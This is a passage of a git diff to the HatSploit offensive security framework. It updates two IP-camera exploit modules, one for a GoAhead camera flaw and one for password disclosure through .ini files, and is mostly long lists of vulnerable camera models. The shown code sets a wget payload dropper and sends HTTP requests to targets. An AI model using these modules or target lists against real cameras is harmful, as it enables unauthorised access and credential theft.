+                'Wanscam AJ-C2WA-C198',
+                'Wanscam AJ-COWA-B1D8',
+                'Wanscam AJ-COWA-C116',
+                'Wanscam AJ-COWA-C126',
+                'Wanscam AJ-COWA-C128',
+                'Wanscam AW00004J',
+                'Wanscam B1D8-1',
+                'Wanscam C-118',
+                'Wanscam C-126',
+                'Wanscam Colour',
+                'Wanscam FI-18904w',
+                'Wanscam FR-4020A2',
+                'Wanscam FR4020A2',
+                'Wanscam HD-100W',
+                'Wanscam HW-0021',
+                'Wanscam HW-0022',
+                'Wanscam HW-0022HD',
+                'Wanscam HW-0023',
+                'Wanscam HW-0024',
+                'Wanscam HW-0025',
+                'Wanscam HW-0026',
+                'Wanscam HW-0028',
+                'Wanscam HW-0033',
+                'Wanscam HW-0036',
+                'Wanscam HW-0038',
+                'Wanscam HW-0039',
+                'Wanscam HW-22',
+                'Wanscam HW0030',
+                'Wanscam IP',
+                'Wanscam JW-0001',
+                'Wanscam JW-0003',
+                'Wanscam JW-0004',
+                'Wanscam JW-0004m',
+                'Wanscam JW-0005',
+                'Wanscam JW-0006',
+                'Wanscam JW-0008',
+                'Wanscam JW-0009',
+                'Wanscam JW-0010',
+                'Wanscam JW-0011',
+                'Wanscam JW-0011l',
+                'Wanscam JW-0012',
+                'Wanscam JW-0018',
+                'Wanscam JW-004',
+                'Wanscam JW-009',
+                'Wanscam JW-CD',
+                'Wanscam JW000008',
+                'Wanscam JW0009',
+                'Wanscam JW001',
+                'Wanscam JW0012',
+                'Wanscam JW008',
+                'Wanscam JWEV',
+                'Wanscam JWEV-011777-NSRVV',
+                'Wanscam JWEV-011921-RXSXT',
+                'Wanscam JWEV-360171-BBEAC',
+                'Wanscam JWEV-380096-CECDB',
+                'Wanscam JWEV-PEPLOW',
+                'Wanscam NBC-543W',
+                'Wanscam NC-530',
+                'Wanscam NC-541',
+                'Wanscam NC-541/W',
+                'Wanscam NC-541W',
+                'Wanscam NC-541w',
+                'Wanscam NC-543W',
+                'Wanscam NCB-534W',
+                'Wanscam NCB-540W',
+                'Wanscam NCB-541W',
+                'Wanscam NCB-541WB',
+                'Wanscam NCB-543W',
+                'Wanscam NCBL-618W',
+                'Wanscam NCH-532MW',
+                'Wanscam NCL-610W',
+                'Wanscam NCL-612W',
+                'Wanscam NCL-616W',
+                'Wanscam NCL-S616W',
+                'Wanscam Other',
+                'Wanscam TG-002',
+                'Wanscam WJ-0004',
+                'Wanscam WX-617',
+                'Wanscam Works',
+                'Wanscam XHA-120903181',
+                'Wanscam XHA-4020a2',
+                'Wanscam __PTZ',
+                'Wanscam chiOthernese',
+                'Wanscam ip',
+                'Wanscam jw0005',
+                'Wanscam jw0010',
+                'Wansview 541',
+                'Wansview 625W',
+                'Wansview MCM-627',
+                'Wansview N540w',
+                'Wansview NCB-534W',
+                'Wansview NCB-541W',
+                'Wansview NCB-541w',
+                'Wansview NCB-543W',
+                'Wansview NCB541W',
+                'Wansview NCB545W',
+                'Wansview NCL-610W',
+                'Wansview NCL610D04',
+                'Wansview NCL614W',
+                'Wansview Other',
+                'Wansview dcs543w',
+                'Wansview nc543w',
+                'Wardmay+CCTV WDM-6702AL',
+                'Watch+bot+Camera resup',
+                'WebcamXP Other',
+                'WinBook Other',
+                'WinBook T-6835',
+                'WinBook T-6835WIP',
+                'WinBook T-7838',
+                'Winic NVT-530004',
+                'Wise+Group Other',
+                'X-Price Other',
+                'X10 39A',
+                'X10 AIRSIGHT',
+                'X10 AirSight',
+                'X10 Airsight',
+                'X10 Jake',
+                'X10 Other',
+                'X10 XC-38A',
+                'X10 XX-36A',
+                'X10 XX-39A',
+                'X10 XX-56A',
+                'X10 XX-59A',
+                'X10 XX-60',
+                'X10 XX-69A',
+                'X10 XX41Ahome',
+                'XVision Other',
+                'XXCamera 53100',
+                'XXCamera 5330-E',
+                'XXCamera Other',
+                'XXCamera XXC-000723-NJFJD',
+                'XXCamera XXC-092411-DCAFC',
+                'XXCamera XXC-50100-H',
+                'XXCamera XXC-50100-T',
+                'XXCamera XXC-5030-E',
+                'XXCamera XXC-53100-T',
+                'XXCamera XXC52130',
+                'Xin+Ling Other',
+                'Yawcam Other',
+                'Zilink Other',
+                'Zmodo CMI-11123BK',
+                'Zmodo IP-900',
+                'Zmodo Other',
+                'Zodiac+Security 909',
+                'Zodiac+Security Other',
+                'Zoneway NC638MW-P',
+                'ZyXEL Other',
+                'alexim Other',
+                'alexim cam22822',
+                'alias Other',
+                'all+in+one+ Other',
+                'all+in+one+ b1',
+                'all-in-one Other',
+                'allecto DVC-150IP',
+                'apc Other',
+                'asw-006 Other',
+                'boh l',
+                'bravo Other',
+                'bush+plus BU-300WF',
+                'ccam p2p',
+                'china 8904W',
+                'china HDIPCAM',
+                'china IPCAM',
+                'china Other',
+                'china PTZCAM',
+                'china np-02',
+                'ciana+exports antani',
+                'cina Other',
+                'coolead L',
+                'coolead L610WS',
+                'dax Other',
+                'denver IPC-320',
+                'denver IPO-320',
+                'e-landing 720p',
+                'eScam QF100',
+                'ebw Other',
+                'epexis PIPCAMHD82',
+                'epexis pipcam5',
+                'esecure nvp',
+                'geeya C602',
+                'geeya P2P',
+                'geeya c801',
+                'hdcam Other',
+                'homeguard 720P',
+                'homeguard Other',
+                'homeguard Wireless',
+                'homeguard wifi',
+                'iView ID002A',
+                'iView Other',
+                'insteon 75790',
+                'insteon 75790wh',
+                'insteon High',
+                'insteon Other',
+                'insteon Wireless',
+                'iuk 5A1',
+                'ivision hdwificam',
+                'iwitness bullet',
+                'jwt Other',
+                'jyacam JYA8010',
+                'kadymay KDM-6800',
+                'kadymay KDM6702',
+                'kadymay KMD-6800',
+                'kadymay Other',
+                'kang+xun xxc5030-t',
+                'kines Other',
+                'kiocong 1601',
+                'kiocong 1602',
+                'kiocong 1609',
+                'kiocong Other',
+                'kodak 201pl',
+                'koicong 1601',
+                'l+series CAM0758',
+                'l+series CAM0760',
+                'l+series Other',
+                'l+series V100',
+                'logan n8504hh',
+                'meyetech 095475-caeca',
+                'meyetech 188091-EFBAE',
+                'meyetech Other',
+                'meyetech WirelessCam',
+                'micasaverde VistaCamSD',
+                'pipcam HD17',
+                'pni 941w',
+                'pni IP451W',
+                'pni IP541W',
+                'pni IP941W',
+                'pni IP951W',
+                'pni Other',
+                'pnp IP',
+                'pnp Other',
+                'semac Other',
+                'skylink WC-300PS',
+                'storex D-10H',
+            ],
+            'References': [
+                {'URL': 'https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html'},
+            ],
+            'DisclosureDate': "2017-04-25",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [RELIABLE_SESSION],
+                'SideEffects': [],
             }
         })
 
         self.username = Option(None, "Username for authentication.", True)
         self.password = Option(None, "Password for authentication.", True)
 
+    def __call__(self):
+        self.dropper.set('wget')
+
     def exploit(self, command):
         self.http_request(
             method="GET",
@@ -63,6 +1336,5 @@ def check(self):
 
     def run(self):
         self.module_handle(
-            method="echo",
             sender=self.exploit,
         )
diff --git a/hatsploit/modules/exploit/linux/generic/p2p_password_disclosure.py b/hatsploit/modules/exploit/linux/generic/p2p_password_disclosure.py
index e1f10679a..ba7367e0a 100755
--- a/hatsploit/modules/exploit/linux/generic/p2p_password_disclosure.py
+++ b/hatsploit/modules/exploit/linux/generic/p2p_password_disclosure.py
@@ -3,30 +3,1297 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
 
 from pex.string import String
 
 
-class HatSploitModule(Module, HTTP, String):
+class HatSploitModule(Module, HTTP):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "P2P Camera Password Disclosure",
             'Module': "exploit/linux/generic/p2p_password_disclosure",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-                'Pierre Kim (pierrekim) - vulnerability researcher',
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "Pierre Kim (pierrekim) - vulnerability researcher",
             ],
-            'Description': "P2P network camera password disclosure.",
+            'Description': (
+                "Multiple P2P (Peer-to-Peer) cameras have a vulnerability allowing "
+                "attacker to access .ini files and extract credentials."
+            ),
             'Platform': OS_LINUX,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
+            'Devices': [
+                '3G+IPCam Other',
+                '3SVISION Other',
+                '3com CASA',
+                '3com Other',
+                '3xLogic Other',
+                '3xLogic Radio',
+                '4UCAM Other',
+                '4XEM Other',
+                '555 Other',
+                '7Links 3677',
+                '7Links 3677-675',
+                '7Links 3720-675',
+                '7Links 3720-919',
+                '7Links IP-Cam-in',
+                '7Links IP-Wi-Fi',
+                '7Links IPC-760HD',
+                '7Links IPC-770HD',
+                '7Links Incam',
+                '7Links Other',
+                '7Links PX-3615-675',
+                '7Links PX-3671-675',
+                '7Links PX-3720-675',
+                '7Links PX3309',
+                '7Links PX3615',
+                '7Links ipc-720',
+                '7Links px-3675',
+                '7Links px-3719-675',
+                '7Links px-3720-675',
+                'A4Tech Other',
+                'ABS Other',
+                'ADT RC8021W',
+                'AGUILERA AQUILERA',
+                'AJT AJT-019129-BBCEF',
+                'ALinking ALC',
+                'ALinking Other',
+                'ALinking dax',
+                'AMC Other',
+                'ANRAN ip180',
+                'APKLINK Other',
+                'AQUILA AV-IPE03',
+                'AQUILA AV-IPE04',
+                'AVACOM 5060',
+                'AVACOM 5980',
+                'AVACOM H5060W',
+                'AVACOM NEW',
+                'AVACOM Other',
+                'AVACOM h5060w',
+                'AVACOM h5080w',
+                'Acromedia IN-010',
+                'Acromedia Other',
+                'Advance Other',
+                'Advanced+home lc-1140',
+                'Aeoss J6358',
+                'Aetos 400w',
+                'Agasio A500W',
+                'Agasio A502W',
+                'Agasio A512',
+                'Agasio A533W',
+                'Agasio A602W',
+                'Agasio A603W',
+                'Agasio Other',
+                'AirLink Other',
+                'Airmobi HSC321',
+                'Airsight Other',
+                'Airsight X10',
+                'Airsight X34A',
+                'Airsight X36A',
+                'Airsight XC39A',
+                'Airsight XX34A',
+                'Airsight XX36A',
+                'Airsight XX40A',
+                'Airsight XX60A',
+                'Airsight x10',
+                'Airsight x10Airsight',
+                'Airsight xc36a',
+                'Airsight xc49a',
+                'Airsight xx39A',
+                'Airsight xx40a',
+                'Airsight xx49a',
+                'Airsight xx51A',
+                'Airsight xx51a',
+                'Airsight xx52a',
+                'Airsight xx59a',
+                'Airsight xx60a',
+                'Akai AK7400',
+                'Akai SP-T03WP',
+                'Alecto 150',
+                'Alecto Atheros',
+                'Alecto DVC-125IP',
+                'Alecto DVC-150-IP',
+                'Alecto DVC-1601',
+                'Alecto DVC-215IP',
+                'Alecto DVC-255-IP',
+                'Alecto dv150',
+                'Alecto dvc-150ip',
+                'Alfa 0002HD',
+                'Alfa Other',
+                'Allnet 2213',
+                'Allnet ALL2212',
+                'Allnet ALL2213',
+                'Amovision Other',
+                'Android+IP+cam IPwebcam',
+                'Anjiel ip-sd-sh13d',
+                'Apexis AH9063CW',
+                'Apexis APM-H803-WS',
+                'Apexis APM-H804-WS',
+                'Apexis APM-J011',
+                'Apexis APM-J011-Richard',
+                'Apexis APM-J011-WS',
+                'Apexis APM-J012',
+                'Apexis APM-J012-WS',
+                'Apexis APM-J0233',
+                'Apexis APM-J8015-WS',
+                'Apexis GENERIC',
+                'Apexis H',
+                'Apexis HD',
+                'Apexis J',
+                'Apexis Other',
+                'Apexis PIPCAM8',
+                'Apexis Pyle',
+                'Apexis XF-IP49',
+                'Apexis apexis',
+                'Apexis apm-',
+                'Apexis dealextreme',
+                'Aquila+Vizion Other',
+                'Area51 Other',
+                'ArmorView Other',
+                'Asagio A622W',
+                'Asagio Other',
+                'Asgari 720U',
+                'Asgari Other',
+                'Asgari PTG2',
+                'Asgari UIR-G2',
+                'Atheros ar9285',
+                'AvantGarde SUMPPLE',
+                'Axis 1054',
+                'Axis 241S',
+                'B-Qtech Other',
+                'B-Series B-1',
+                'BRAUN HD-560',
+                'BRAUN HD505',
+                'Beaulieu Other',
+                'Bionics Other',
+                'Bionics ROBOCAM',
+                'Bionics Robocam',
+                'Bionics T6892WP',
+                'Bionics t6892wp',
+                'Black+Label B2601',
+                'Bravolink Other',
+                'Breno Other',
+                'CDR+king APM-J011-WS',
+                'CDR+king Other',
+                'CDR+king SEC-015-C',
+                'CDR+king SEC-016-NE',
+                'CDR+king SEC-028-NE',
+                'CDR+king SEC-029-NE',
+                'CDR+king SEC-039-NE',
+                'CDR+king sec-016-ne',
+                'CDXX Other',
+                'CDXXcamera Any',
+                'CP+PLUS CP-EPK-HC10L1',
+                'CPTCAM Other',
+                'Camscam JWEV-372869-BCBAB',
+                'Casa Other',
+                'Cengiz Other',
+                'Chinavasion Gunnie',
+                'Chinavasion H30',
+                'Chinavasion IP611W',
+                'Chinavasion Other',
+                'Chinavasion ip609aw',
+                'Chinavasion ip611w',
+                'Cloud MV1',
+                'Cloud Other',
+                'CnM IP103',
+                'CnM Other',
+                'CnM sec-ip-cam',
+                'Compro NC150/420/500',
+                'Comtac CS2',
+                'Comtac CS9267',
+                'Conceptronic CIPCAM720PTIWL',
+                'Conceptronic cipcamptiwl',
+                'Cybernova Other',
+                'Cybernova WIP604',
+                'Cybernova WIP604MW',
+                'D-Link DCS-910',
+                'D-Link DCS-930L',
+                'D-Link L-series',
+                'D-Link Other',
+                'DB+Power 003arfu',
+                'DB+Power DBPOWER',
+                'DB+Power ERIK',
+                'DB+Power HC-WV06',
+                'DB+Power HD011P',
+                'DB+Power HD012P',
+                'DB+Power HD015P',
+                'DB+Power L-615W',
+                'DB+Power LA040',
+                'DB+Power Other',
+                'DB+Power Other2',
+                'DB+Power VA-033K',
+                'DB+Power VA0038K',
+                'DB+Power VA003K+',
+                'DB+Power VA0044_M',
+                'DB+Power VA033K',
+                'DB+Power VA033K+',
+                'DB+Power VA035K',
+                'DB+Power VA036K',
+                'DB+Power VA038',
+                'DB+Power VA038k',
+                'DB+Power VA039K',
+                'DB+Power VA039K-Test',
+                'DB+Power VA040',
+                'DB+Power VA390k',
+                'DB+Power b',
+                'DB+Power b-series',
+                'DB+Power extcams',
+                'DB+Power eye',
+                'DB+Power kiskFirstCam',
+                'DB+Power va033k',
+                'DB+Power va039k',
+                'DB+Power wifi',
+                'DBB IP607W',
+                'DEVICECLIENTQ CNB',
+                'DKSEG Other',
+                'DNT CamDoo',
+                'DVR DVR',
+                'DVS-IP-CAM Other',
+                'DVS-IP-CAM Outdoor/IR',
+                'Dagro DAGRO-003368-JLWYX',
+                'Dagro Other',
+                'Dericam H216W',
+                'Dericam H502W',
+                'Dericam M01W',
+                'Dericam M2/6/8',
+                'Dericam M502W',
+                'Dericam M601W',
+                'Dericam M801W',
+                'Dericam Other',
+                'Digix Other',
+                'Digoo BB-M2',
+                'Digoo MM==BB-M2',
+                'Digoo bb-m2',
+                'Dinon 8673',
+                'Dinon 8675',
+                'Dinon SEGEV-105',
+                'Dinon segev-103',
+                'Dome Other',
+                'Drilling+machines Other',
+                'E-Lock 1000',
+                'ENSIDIO IP102W',
+                'EOpen Open730',
+                'EST ES-IP602IW',
+                'EST IP743W',
+                'EST Other',
+                'EZCam EPK-EP10L1',
+                'EZCam EZCam',
+                'EZCam Other',
+                'EZCam PAN/TILT',
+                'EZCam Pan/Tilt',
+                'EasyCam EC-101HD',
+                'EasyCam EC-101HDSD',
+                'EasyCam EC-101SD',
+                'EasyCam EC-102',
+                'EasyCam Other',
+                'EasyN 187',
+                'EasyN 1BF',
+                'EasyN 720P',
+                'EasyN F',
+                'EasyN F-136',
+                'EasyN F-M136',
+                'EasyN F-M166',
+                'EasyN F-M181',
+                'EasyN F-M1b1',
+                'EasyN F-SERIES',
+                'EasyN F133',
+                'EasyN F2-611B',
+                'EasyN F3',
+                'EasyN F3-166',
+                'EasyN F3-176M',
+                'EasyN F3-M166',
+                'EasyN F3-SERIES',
+                'EasyN F3-Series',
+                'EasyN F3-m187',
+                'EasyN F3M187',
+                'EasyN FS-613A-M136',
+                'EasyN FS-613B',
+                'EasyN FS-613B-M166',
+                'EasyN FS-613B-MJPEG',
+                'EasyN FS613',
+                'EasyN F_M10R',
+                'EasyN H3-V10R',
+                'EasyN H6-M137h',
+                'EasyN M091',
+                'EasyN Other',
+                'EasyN est-007660-611b',
+                'EasyN est-007660333',
+                'EasyN f',
+                'EasyN f-Series',
+                'EasyN f138',
+                'EasyN f_series',
+                'EasyN fseries',
+                'EasyN kitch',
+                'EasyN s',
+                'EasySE F/B/N/I',
+                'EasySE H3',
+                'EasySE H3e',
+                'EasySE Other',
+                'Ebode IPV38W',
+                'Ebode IPV58',
+                'Ebode Other',
+                'Ego Other',
+                'Elro 901',
+                'Elro 903',
+                'Elro 903IP',
+                'Elro C7031P',
+                'Elro C703IP2',
+                'Elro C704-IP',
+                'Elro C704IP',
+                'Elro C704IP.2',
+                'Elro C704ip',
+                'Elro C803IP',
+                'Elro C903IP',
+                'Elro C903IP.2',
+                'Elro C904IP',
+                'Elro C904IP.2',
+                'Elro IP901',
+                'Elro Other',
+                'Eminent 6564',
+                'Eminent EM6220',
+                'Eminent EM6564',
+                'Eminent em6220',
+                'Esky C5900',
+                'Esky L',
+                'Esky Live',
+                'Esky c5900',
+                'Eura-Tech IC-03C3',
+                'EyeCam ICAM-608',
+                'EyeCam IP65IW',
+                'EyeCam Other',
+                'EyeCam STORAGEOPTIONS',
+                'EyeIPCam IP901W',
+                'EyeSight ES-IP607W',
+                'EyeSight ES-IP811W',
+                'EyeSight ES-IP909IW',
+                'EyeSight ES-IP935FW',
+                'EyeSight ES-IP935IW',
+                'EyeSight IP910IW',
+                'EyeSight IP915IW',
+                'EyeSight Other',
+                'EyeSight ip609IW',
+                'EyeSight ip909iw',
+                'EyeSight ip915iw',
+                'EyeSight mjpeg',
+                'EyeSpy247 Other',
+                'F-Series FSERIES',
+                'F-Series Ip',
+                'F-Series Other',
+                'F-Series ip',
+                'First+Concept Other',
+                'Focuscam F19821W',
+                'Foscam FI18904w',
+                'Foscam FI18905E',
+                'Foscam FI18905W',
+                'Foscam FI18906w',
+                'Foscam FI1890W',
+                'Foscam FI18910E',
+                'Foscam FI18910W',
+                'Foscam FI18910w',
+                'Foscam FI18916W',
+                'Foscam FI18918W',
+                'Foscam FI18919W',
+                'Foscam FI19810W',
+                'Foscam FI8094W',
+                'Foscam FI81904W',
+                'Foscam FI8601W',
+                'Foscam FI8602W',
+                'Foscam FI8606W',
+                'Foscam FI8610w',
+                'Foscam FI8903W',
+                'Foscam FI8903W_Elita',
+                'Foscam FI8904',
+                'Foscam FI8904W',
+                'Foscam FI8905E',
+                'Foscam FI8905W',
+                'Foscam FI8905w',
+                'Foscam FI8906w',
+                'Foscam FI8907W',
+                'Foscam FI8908W',
+                'Foscam FI8909W',
+                'Foscam FI890W',
+                'Foscam FI8910',
+                'Foscam FI8910E',
+                'Foscam FI8910W',
+                'Foscam FI8910W_DW',
+                'Foscam FI8910w',
+                'Foscam FI8916W',
+                'Foscam FI8918',
+                'Foscam FI89180w',
+                'Foscam FI8918E',
+                'Foscam FI8918W',
+                'Foscam FI8918w',
+                'Foscam FI8919W',
+                'Foscam FI9804W',
+                'Foscam FI9805E',
+                'Foscam FI9810',
+                'Foscam FI9810W',
+                'Foscam FI9818',
+                'Foscam FI9820w',
+                'Foscam FI9821W',
+                'Foscam FI9821w',
+                'Foscam FL8910',
+                'Foscam FS18908W',
+                'Foscam FS8910',
+                'Foscam Fi8910',
+                'Foscam Other',
+                'Foscam fI8989w',
+                'Foscam fi1890w',
+                'Foscam fl8910w',
+                'FoxCam PTZ2084-L',
+                'GIGA gb',
+                'GT+ROAD HS-006344-SPSLM',
+                'General Other',
+                'Generic All-in-one',
+                'Generic Billy',
+                'Generic DomeA-Outdoor',
+                'Generic IP',
+                'Generic Other',
+                'Gi-star+srl IP6031W',
+                'Gigaeye GB',
+                'GoAhead EC-101SD',
+                'GoAhead GoAheadWebs',
+                'GoAhead IPCAM1',
+                'GoAhead IPCAM2',
+                'GoAhead Other',
+                'GoAhead thedon',
+                'GoCam Other',
+                'Goclever EYE',
+                'Goclever EYE2',
+                'Gotake GTK-TH01B',
+                'H+264+network+DVR 720p',
+                'H+264+network+DVR Other',
+                'H.264 Other',
+                'H6837WI Other',
+                'HD+IPC Other',
+                'HD+IPC SV3C',
+                'HDIPCAM Other',
+                'Heden CAMH04IPWE',
+                'Heden CAMHED02IPW',
+                'Heden CAMHED04IP',
+                'Heden CAMHED04IPWN',
+                'Heden CAMHEDIPWP',
+                'Heden Other',
+                'Heden VisionCam',
+                'Heden visionCam',
+                'HiSilicon Other',
+                'Hikvision DS-2CD2132',
+                'Histream RTSP',
+                'HooToo F-SERIES',
+                'HooToo HOOTOO',
+                'HooToo HT-IP006',
+                'HooToo HT-IP006N',
+                'HooToo HT-IP009HDP',
+                'HooToo HT-IP206',
+                'HooToo HT-IP207F',
+                'HooToo HT-IP210HDP',
+                'HooToo HT-IP210P',
+                'HooToo HT-IP212',
+                'HooToo IP009HDP',
+                'HooToo Other',
+                'HooToo apm-h803-mpc',
+                'Hsmartlink Other',
+                'Hungtek WIFI',
+                'ICAMView Other',
+                'ICam I908W',
+                'ICam IP-1',
+                'ICam Other',
+                'ICam Other2',
+                'ICam dome',
+                'INISOFT-CAM Stan',
+                'INSTAR 4010',
+                'INVID Other',
+                'IO+Data Other',
+                'IP66 Other',
+                'IPC IPC02',
+                'IPC Other',
+                'IPC S5030-TF',
+                'IPC S5030-m',
+                'IPC SRICAM',
+                'IPCC 3XPTZ',
+                'IPCC 7210W',
+                'IPCC IPCC-7210W',
+                'IPCC x01',
+                'IPTeles Other',
+                'IPUX ip-100',
+                'ISIT Other',
+                'IZOtech Other',
+                'IZTOUCH 0009',
+                'IZTOUCH A001',
+                'IZTOUCH IZ-009',
+                'IZTOUCH LTH-A8645-c15',
+                'IZTOUCH Other',
+                'IZTOUCH Other1',
+                'IZTOUCH ap001',
+                'IeGeek Other',
+                'IeGeek ukn',
+                'Inkovideo V-104',
+                'Iprobot3 Other',
+                'JRECam JM3866W',
+                'JWcam JWEV',
+                'JWcam Other',
+                'Jaycar 3834',
+                'Jaycar 720P',
+                'Jaycar Other',
+                'Jaycar QC-3831',
+                'Jaycar QC-3832',
+                'Jaycar QC-3834',
+                'Jaycar QC-3836',
+                'Jaycar QC-3839',
+                'Jaytech IP6021W',
+                'JhempCAM Back',
+                'JhempCAM Other',
+                'KaiKong 1601',
+                'KaiKong 1602w',
+                'KaiKong Other',
+                'KaiKong SIP',
+                'KaiKong SIP1602',
+                'KaiKong SIP1602W',
+                'KaiKong sip',
+                'KaiKong sip1602w',
+                'Kenton gjc02',
+                'Kinson C720PWIP',
+                'Klok Other',
+                'Knewmart KW01B',
+                'Knewmart KW02B',
+                'Kogan KAIPC01BLKA',
+                'Kogan KAIPCO1BLKA',
+                'Kogan Other',
+                'Kogan encoder',
+                'Kogan kaipc01blkb',
+                'Kompernass IUK',
+                'Koolertron Other',
+                'Koolertron PnP',
+                'Koolertron SP-SHEX21-SL',
+                'LC+security Other',
+                'LW lw-h264tf',
+                'LYD H1385H',
+                'Lager Other',
+                'Leadtek C351',
+                'LevelOne 1010/2010',
+                'Libor Other',
+                'LifeTech MyLifeTech',
+                'LifeTech Other',
+                'LifeTech dd',
+                'Lilly Other',
+                'Linq Other',
+                'Lloyds 1107',
+                'Loftek CXS',
+                'Loftek Nexus',
+                'Loftek Other',
+                'Loftek SPECTOR',
+                'Loftek Sendinel',
+                'Loftek Sentinel',
+                'LogiLink WC0030A',
+                'LogiLink wc0044',
+                'Logitech C920',
+                'MCL 610',
+                'MJPEG Other',
+                'Maginon 100',
+                'Maginon 10AC',
+                'Maginon 20C',
+                'Maginon IP-20c',
+                'Maginon IPC',
+                'Maginon IPC-1',
+                'Maginon IPC-10',
+                'Maginon IPC-100',
+                'Maginon IPC-100AC',
+                'Maginon IPC-10AC',
+                'Maginon IPC-2',
+                'Maginon IPC-20',
+                'Maginon IPC20C',
+                'Maginon IPC_1A',
+                'Maginon Other',
+                'Maginon SUPRA',
+                'Maginon Supra',
+                'Maginon ipc',
+                'Maginon ipc-1a',
+                'Maginon ipc100a',
+                'Maginon ipx',
+                'Maginon w2',
+                'Marmitek GM-8126',
+                'Maygion IP',
+                'Maygion OTHER2',
+                'Maygion Other',
+                'Maygion V3',
+                'Maygion black',
+                'Mediatech mt4050',
+                'Medisana SmartBabyMonitor',
+                'Merlin IP',
+                'Merlin Other',
+                'Merlin vstc',
+                'Messoa Other',
+                'Mingyoushi S6203Y-WR',
+                'Momentum 2002',
+                'Momentum MO-CAM',
+                'NEXCOM S-CAM',
+                'NIP NIP-004500-KMTLU',
+                'NIP NIP-075007-UPHTF',
+                'NIP NIP-11BGPW',
+                'NIP NIP-14',
+                'NTSE Other',
+                'Neewer Other',
+                'Neewer V-100',
+                'Neo+CoolCam NIP',
+                'Neo+CoolCam NIP-02(OAM)',
+                'Neo+CoolCam NIP-06',
+                'Neo+CoolCam NIP-066777-BWESL',
+                'Neo+CoolCam NIP-102428-DFBEF',
+                'Neo+CoolCam NIP-H20(OZX)',
+                'Neo+CoolCam OBJ-007260-LYLDU',
+                'Neo+CoolCam Other',
+                'Neo+CoolCam neo',
+                'Neo+CoolCam nip-11',
+                'Neo+CoolCam nip-20',
+                'Ness Other',
+                'NetView Other',
+                'Netcam Dual-HD',
+                'Netcam HSL-232245-CWXES',
+                'Netcam OUVIS',
+                'Netcam Other',
+                'Netware Other',
+                'Nexxt+Solution Xpy',
+                'Nixzen Other',
+                'NorthQ NQ-9006',
+                'Office+One CM-I11123BK',
+                'Office+One IP-900',
+                'Office+One IP-99',
+                'Office+One Other',
+                'Office+One SC-10IP',
+                'Office+One ip-900',
+                'Office+One ip900',
+                'Opexia OPCS',
+                'Optica+Video FI-8903W',
+                'Optica+Video FI-8918W',
+                'Optica+Video Other',
+                'Otto 4eye',
+                'Overmax CamSpot',
+                'Overmax Camspot',
+                'OwlCam CP-6M201W',
+                'P2p wificam',
+                'PCS Other',
+                'Panasonic BL-C131A',
+                'PeopleFu IPC-674',
+                'PeopleFu IPCAM1',
+                'PeopleFu IPCAM2',
+                'PeopleFu IPCAM3',
+                'PeopleFu IPCAM5',
+                'Pixpo 1Z074A2A0301627785',
+                'Pixpo PIX006428BFYZY',
+                'Pixpo PIX009491MLJYM',
+                'Pixpo PIX009495HURFE',
+                'Pixpo PIX010584DFACE',
+                'Plaisio IP',
+                'Planex Other',
+                'Planex PLANEX',
+                'Polariod P351S',
+                'Polaroid IP-100',
+                'Polaroid IP-101W',
+                'Polaroid IP-200B',
+                'Polaroid IP-201B',
+                'Polaroid IP-350',
+                'Polaroid IP-351S',
+                'Polaroid IP-360S',
+                'Polaroid IP-810W',
+                'Polaroid IP-810WZ',
+                'Polaroid Other',
+                'Polaroid POLIP101W',
+                'Polaroid POLIP201B',
+                'Polaroid POLIP201W',
+                'Polaroid POLIP351S',
+                'Polaroid POLIP35i5',
+                'PowerLead Caue',
+                'PowerLead PC012',
+                'ProveCam IP2521',
+                'Provision 717',
+                'Provision F-717',
+                'Provision F-737',
+                'Provision PT-737',
+                'Provision WP-711',
+                'Provision WP-717P',
+                'Pyle HD',
+                'Pyle HD22',
+                'Pyle HD46',
+                'Pyle Mine',
+                'Pyle PIPCAM15',
+                'Pyle Pipcam12',
+                'Pyle cam5',
+                'Pyle pipcam25',
+                'Pyle pipcam5',
+                'Q-nest QN-100S',
+                'Q-nest qn-100s',
+                'Queback 720p',
+                'ROCAM NC-400',
+                'ROCAM NC-500',
+                'ROCAM NC300',
+                'ROCAM NC300-1',
+                'ROHS IP',
+                'ROHS none',
+                'RTX 06R',
+                'RTX DVS',
+                'RTX IP-06R',
+                'RTX IP-26H',
+                'RTX Other',
+                'Rollei safetycam-10hd',
+                'SES Other',
+                'SKJM Other',
+                'SST SST-CNS-BUI18',
+                'SVB+International SIP-018262-RYERR',
+                'SafeHome 278042',
+                'SafeHome 616-W',
+                'SafeHome IP601W-hd',
+                'SafeHome Other',
+                'SafeHome VGA',
+                'SafeHome iprobot',
+                'Samsung Other',
+                'Santec-Video Other',
+                'Sarotech IPCAM-1000',
+                'Sarotech ip300',
+                'Scricam 004',
+                'Scricam 192.168.1.7',
+                'Scricam AP-004',
+                'Scricam AP-009',
+                'Scricam AP0006',
+                'Scricam AP006',
+                'Secam+CCTV IPCAM',
+                'Secam+CCTV Other',
+                'Seculink 10709',
+                'Seculink Other',
+                'Secur+Eye xxc5330',
+                'Seisa JK-H616WS',
+                'Senao PTZ-01H',
+                'Sequrecam Other',
+                'Sequrecam PNP-125',
+                'Sercomm Other',
+                'Shenwhen+Neo+Electronic+Co NC-541',
+                'Shenwhen+Neo+Electronic+Co Other',
+                'Shenwhen+Neo+Electronic+Co X-5000B',
+                'Shenzhen 720P',
+                'Shixin+China IP-129HW',
+                'Siepem IPC',
+                'Siepem S5001Y-BW',
+                'Siepem S6203y',
+                'Siepem S6211Y-WR',
+                'Simi+IP+Camera+Viewer Other',
+                'Sineoji Other',
+                'Sineoji PT-315V',
+                'Sineoji PT-3215P',
+                'Sineoji PT-325IP',
+                'Sinocam Other',
+                'Sky+Genious Genious',
+                'Skytronic IP',
+                'Skytronic IP99',
+                'Skytronic Other',
+                'Skytronic WiFi',
+                'Skytronic dome',
+                'SmartEye Other',
+                'SmartWares C723IP',
+                'SmartWares c724ip',
+                'SmartWares c923ip',
+                'SmartWares c924ip',
+                'Solwise SEC-1002W-IR',
+                'Spy+Cameras WF-100PCX',
+                'Spy+Cameras WF-110V',
+                'Sricam 0001',
